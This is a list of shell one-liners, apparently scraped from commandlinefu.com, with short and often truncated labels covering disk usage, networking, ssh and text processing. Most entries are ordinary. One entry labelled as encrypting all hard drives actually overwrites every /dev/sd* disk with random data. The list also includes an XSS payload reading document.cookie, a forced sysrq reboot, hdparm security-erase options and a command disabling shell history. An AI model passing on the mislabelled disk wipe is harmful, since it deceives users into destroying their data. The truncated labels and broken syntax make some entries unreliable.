>> # hdparm -mRuUwx --dco-restore --drq-hsm-error --fwdownload --security-unlock PWD --security-set-pass PWD --security-disable PWD --security-erase PWD --security-erase-enhanced PWD --user-master USER --security-mode MODE [device]
* how long system has been running
>> uptime
* get cpu info from dmesg
>> dmesg | grep cpu
* do a directory disk usage summary without giving the details for
>> for dir in $(ls); do du -sk ${dir}; done
* eject the cd rom device
>> while true; do eject /dev/cdrom && eject -t /dev/cdrom; done
* get all the data about your IP configuration across all network
>> ipconfig /all
* Encrypts all your HDDs with a one-time-pad
>> for disk in /dev/sd*; sudo dd if=/dev/urandom of=$disk; done
* a random number test
>> [ $[ $RANDOM % 6 ] == 0 ] && echo yes || echo no
* output 'hello' when the computer starts
>> echo "echo hello" >> /etc/rc.local
* Split File in parts
>> split -b 19m file Nameforpart
* Get your mac to talk to you
>> say -v Vicki "Hi, I'm a mac"
* Open a man page as a PDF in Gnome
>> TF=`mktemp` && man -t YOUR_COMMAND >> $TF && gnome-open $TF
* Grep without having it show its own process in the results
>> ps aux | grep "[s]ome_text"
* Resume aborted scp file transfers
>> rsync --partial --progress --rsh=ssh SOURCE DESTINATION
* Remove all subversion files from a project recursively
>> rm -rf `find . -type d -name .svn`
* Tells which group you DON'T belong to (opposite of command
>> sed -e "/$USER/d;s/:.*//g" /etc/group | sed -e :a -e '/$/N;s/\n/ /;ta'
* Just run it ;)
>> echo SSBMb3ZlIFlvdQo= | base64 -d
* Show which programs are listening on TCP and UDP ports
>> netstat -plunt
* add all files not under version control to repository
>> svn status |grep '\?' |awk '{print $2}'| xargs svn add
* Count files beneath current directory (including subfolders)
>> find . -type f | wc -l
* Vim: Switch from Horizontal split to Vertical split
>> ^W-L
* Change your swappiness Ratio under linux
>> sysctl vm.swappiness=50
* Determine what an process is actually doing
>> sudo strace -pXXXX -e trace=file
* Carriage return for reprinting on the same line
>> while true; do echo -ne "$(date)\r"; sleep 1; done
* bash screensaver off
>> setterm -powersave off -blank 0
* What is my ip?
>> curl http://www.whatismyip.org/
* lotto generator
>> echo $(shuf -i 1-49 | head -n6 | sort -n)
* Monitor a file's size
>> watch -n60 du /var/log/messages
* FAST and NICE Search and Replace for Strings in Files
>> nice -n19 sh -c 'S=askapache && R=htaccess; find . -type f|xargs -P5 -iFF grep -l -m1 "$S" FF|xargs -P5 -iFF sed -i -e s%${S}%${R}% FF'
* Find the process you are looking for minus the grepped one
>> pgrep command_name
* Disable annoying sound emanations from the PC speaker
>> sudo rmmod pcspkr
* Stripping ^M at end of each line for files
>> dos2unix <filenames>
* IFS - use entire lines in your for cycles
>> export IFS=$(echo -e "\n")
* Attempt an XSS exploit on commandlinefu.com
>> perl -pi -e 's/<a href="#" onmouseover="console.log('xss! '+document.cookie)" style="position:absolute;height:0;width:0;background:transparent;font-w eight:normal;">xss</a>/<\/a>/g'
* Alias for getting OpenPGP keys for Launchpad PPAs on Ubuntu
>> alias launchpadkey="sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys"
* Create a Multi-Part Archive Without Proprietary Junkware
>> tar czv Pictures | split -d -a 3 -b 16M - pics.tar.gz.
* disable history for current shell session
>> unset HISTFILE
* Command Line to Get the Stock Quote via Yahoo
>> curl -s 'http://download.finance.yahoo.com/d/quotes.csv?s=csco&f=l1'
* Plays Music from SomaFM
>> read -p "Which station? "; mplayer --reallyquiet -vo none -ao sdl http://somafm.com/startstream=${REPLY}.pls
* Search for a single file and go to it
>> cd $(dirname $(find ~ -name emails.txt))
* printing barcodes
>> ls /home | head -64 | barcode -t 4x16 | lpr
* Rot13 using the tr command
>> alias rot13="tr '[A-Za-z]' '[N-ZA-Mn-za-m]'"
* Measures download speed on eth0
>> while true; do X=$Y; sleep 1; Y=$(ifconfig eth0|grep RX\ bytes|awk '{ print $2 }'|cut -d : -f 2); echo "$(( Y-X )) bps"; done
* loop over a set of items that contain spaces
>> ls | while read ITEM; do echo "$ITEM"; done
* Converts to PDF all the OpenOffice.org files in the directory
>> for i in $(ls *.od{tp]); do unoconv -f pdf $i; done
* Rotate a set of photos matching their EXIF data.
>> jhead -autorot *.jpg
* Quickly find a count of how many times invalid users have
>> gunzip -c /var/log/auth.log.*.gz | cat - /var/log/auth.log
* New files from parts of current buffer
>> :n,m w newfile.txt
* Wrap text files on the command-line for easy reading
>> fold -s <filename>
* Re-read partition table on specified device without rebooting
>> blockdev --rereadpt /dev/sda
* Speak the top 6 lines of your twitter timeline every 5
>> while [ 1 ]; do curl -s -u username:password http://twitter.com/statuses/friends_timeline.rss|grep title|sed -ne 's/<\/*title>//gp' | head -n 6 |festival --tts; sleep 300;done
* Create an SSH SOCKS proxy server on localhost:8000 that will
>> autossh -f -M 20000 -D 8000 somehost -N
* Press ctrl+r in a bash shell and type a few letters of a previous
>> ^r in bash begins a reverse-search-history with command completion
* List only directory names
>> ls -d */
* bash shortcut: !$ !^ !* !:3 !:h and !:t
>> echo foo bar foobar barfoo && echo !$ !^ !:3 !* && echo /usr/bin/foobar&& echo !$:h !$:t
* Wget Command to Download Full Recursive Version of Web Page
>> wget -p --convert-links http://www.foo.com
* Files extension change
>> rename .oldextension .newextension *.oldextension
* archive all files containing local changes (svn)
>> svn st | cut -c 8- | sed 's/^/\"/;s/$/\"/' | xargs tar -czvf ../backup.tgz
* renames multiple files that match the pattern
>> rename 's/foo/bar/g' *
* watch process stack, sampled at 1s intervals
>> watch -n 1 'pstack 12345 | tac'
* Block an IP address from connecting to a server
>> iptables -A INPUT -s 222.35.138.25/32 -j DROP
* silent/shh - shorthand to make commands really quiet
>> silent(){ $@ > /dev/null 2>&1; }; alias shh=silent
* show ls colors with demo
>> echo $LS_COLORS | sed 's/:/\n/g' | awk -F= '!/^$/{printf("%s \x1b[%smdemo\x1b[0m\n",$0,$2)}'
* Show when filesystem was created
>> dumpe2fs -h /dev/DEVICE | grep 'created'
* determine if tcp port is open
>> nc -zw2 www.example.com 80 && echo open
* Shell function to exit script with error in exit status and print
>> die(){ result=$1;shift;[ -n "$*" ]&&printf "%s\n" "$*" >&2;exit
* exit if another instance is running
>> pidof -x -o $$ ${0##*/} && exit
* Execute most recent command containing search string.
>> !?<string>?
* Display GCC Predefined Macros
>> gcc -dM -E - < /dev/null
* search for lines not containing any of the patterns.
>> grep 'test' somefile | grep -vE '(error|critical|warning)'
* Extract a bash function
>> sed -n '/^function h\(\)/,/^}/p' script.sh
* autossh + ssh + screen = super rad perma-sessions
>> AUTOSSH_POLL=1 autossh -M 21010 hostname -t 'screen -Dr'
* Smart renaming
>> mmv 'banana_*_*.asc' 'banana_#2_#1.asc'
* save date and time for each command in history
>> export HISTTIMEFORMAT="%h/%d-%H:%M:%S "
* Backup files older than 1 day on /home/dir, gzip them, moving old
>> find /home/dir -mtime +1 -print -exec gzip -9 {} \; -exec mv {}.gz {}_`date +%F`.gz \;
* connect via ssh using mac address
>> ssh root@`for ((i=100; i<=110; i++));do arp -a 192.168.1.$i; done | grep 00:35:cf:56:b2:2g | awk '{print $2}' | sed -e 's/(//' -e 's/)//'`
* cycle through a 256 colour palette
>> yes "$(seq 1 255)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
* find all active IP addresses in a network
>> nmap -sP 192.168.0.*
* How to run a command on a list of remote servers read from a file
>> while read server; do ssh -n user@$server "command"; done < servers.txt
* Replace spaces in filenames with underscorees
>> ls | while read f; do mv "$f" "${f// /_}";done
* Extract dd-image from VirtualBox VDI container and mount it
>> vditool COPYDD my.vdi my.dd ; sudo mount -t ntfs -o ro,noatime,noexex,loop,offset=32256 my.dd ./my_dir
* back up your commandlinefu contributed commands
>> curl http://www.commandlinefu.com/commands/by/<your username>/rss|gzip ->commandlinefu-contribs-backup-$(date +%Y-%m-%d-%H.%M.%S).rss.gz
* Copy a directory recursively without data/files
>> find . -type d -exec env d="$dest_root" sh -c ' exec mkdir -p -- "$d/$1"' '{}' '{}' \;
* Find removed files still in use via /proc
>> find -L /proc/*/fd -links 0 2>/dev/null
* du disk top 10
>> for i in `du --max-depth=1 $HOME | sort -n -r | awk '{print $1 ":" $2}'`; do size=`echo $i | awk -F: '{print $1}'`; dir=`echo $i | awk -F: '{print $NF}'`; size2=$(($size/1024)); echo "$size2 MB used by $dir"; done | head -n 10
* A fun thing to do with ram is actually open it up and take a peek.
>> sudo dd if=/dev/mem | cat | strings
* Set CDPATH to ease navigation
>> CDPATH=:..:~:~/projects
* Copy your SSH public key on a remote machine for passwordless
>> ssh-copy-id username@hostname
* Extract tarball from internet without local saving
>> wget -qO - "http://www.tarball.com/tarball.gz" | tar zxvf -
* diff two unsorted files without creating temporary files
>> diff <(sort file1) <(sort file2)
* Create a script of the last executed command
>> echo "!!" > foo.sh
* Display which distro is installed
>> cat /etc/issue
* Graph # of connections for each hosts.
>> netstat -an | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | awk '{ printf("%s\t%s\t",$2,$1) ; for (i = 0; i < $1; i++) {printf("*")}; print "" }'
* Convert seconds to human-readable format
>> date -d@1234567890
* Graphical tree of sub-directories
>> ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'
* Monitor progress of a command
>> pv access.log | gzip > access.log.gz
* Go (cd) directly into a new temp folder
>> cd $(mktemp -d)
* Interactively build regular expressions
>> txt2regex
* sends your internal IP by email
>> ifconfig en1 | awk '/inet / {print $2}' | mail -s "hello world" email@email.com
* Copy specific files to another machine, keeping the file
>> tar cpfP - $(find <somedir> -type f -name *.png) | ssh user@host | tar xpfP -
* Redirect a filehandle from a currently running process.
>> yes 'Y'|gdb -ex 'p close(1)' -ex 'p creat("/tmp/output.txt",0600)' -ex 'q' -p pid
* Mute xterm
>> xset b off
* Force machine to reboot no matter what (even if /sbin/shutdown is
>> echo 1 > /proc/sys/kernel/sysrq; echo b > /proc/sysrq-trigger
* Use /dev/full to test language I/O-failsafety
>> perl -e 'print 1, 2, 3' > /dev/full
* Get your external IP address
>> curl ip.appspot.com
* Go up multiple levels of directories quickly and easily.
>> cd() { if [[ "$1" =~ ^\.\.+$ ]];then local a dir;a=${#1};while [ $a -ne 1 ];do dir=${dir}"../";((a--));done;builtin cd $dir;else builtin cd "$@";fi ;}
* cpu and memory usage top 10 under Linux
>> ps -eo user,pcpu,pmem | tail -n +2 | awk '{num[$1]++; cpu[$1] += $2; mem[$1] += $3} END{printf("NPROC\tUSER\tCPU\tMEM\n"); for (user in cpu) printf("%d\t%s\t%.2f\t%.2f\n",num[user], user, cpu[user], mem[user]) }'
* create iso image from a directory
>> mkisofs -o XYZ.iso XYZ/
* Check a server is up. If it isn't mail me.
>> ping -q -c1 -w3 brandx.jp.sme 2&>1 /dev/null || echo brandx.jp.sme ping failed | mail -ne -s'Server unavailable' joker@jp.co.uk
* save date and time for each command in history
>> export HISTTIMEFORMAT='%F %T '
* Detect if we are running on a VMware virtual machine
>> dmidecode | awk '/VMware Virtual Platform/ {print $3,$4,$5}'
* Download all Phrack .tar.gzs
>> curl http://www.phrack.org/archives/tgz/phrack[1-67].tar.gz -o phrack#1.tar.gz
* find the biggest files recursively, no matter how many
>> find . -type f -printf '%20s %p\n' | sort -n | cut -b22- | tr '\n' '\000' | xargs -0 ls -laSr
* grep (or anything else) many files with multiprocessor power
>> find . -type f -print0 | xargs -0 -P 4 -n 40 grep -i foobar
* ssh autocomplete
>> complete -W "$(echo $(grep '^ssh ' .bash_history | sort -u | sed 's/^ssh //'))" ssh
* Move files around local filesystem with tar without wasting space
>> ( cd SOURCEDIR && tar cf - . ) | (cd DESTDIR && tar xvpf - )
* Check if network cable is plugged in and working correctly
>> mii-tool eth0
* find the 10 latest (modified) files
>> ls -1t | head -n10
* Backup sda5 partition to ftp ( using pipes and gziped backup )
>> dd if=/dev/sda5 bs=2048 conv=noerror,sync | gzip -fc | lftp -u user,passwd domain.tld -e "put /dev/stdin -o backup-$(date +%Y%m%d%H%M).gz; quit"
* Hostname tab-completion for ssh
>> function autoCompleteHostname() { local hosts; local cur; hosts=($(awk '{print $1}' ~/.ssh/known_hosts | cut -d, -f1)); cur=${COMP_WORDS[COMP_CWORD]}; COMPREPLY=($(compgen -W '${hosts[@]}' -- $cur )) } complete -F autoCompleteHostname ssh
* dstat - a mix of vmstat, iostat, netstat, ps, sar...
>> dstat -ta
* launch a virtualbox virtual machine
>> VBoxManage startvm "name"
* Create a large test file (taking no space).
>> dd bs=1 seek=2TB if=/dev/null of=ext3.test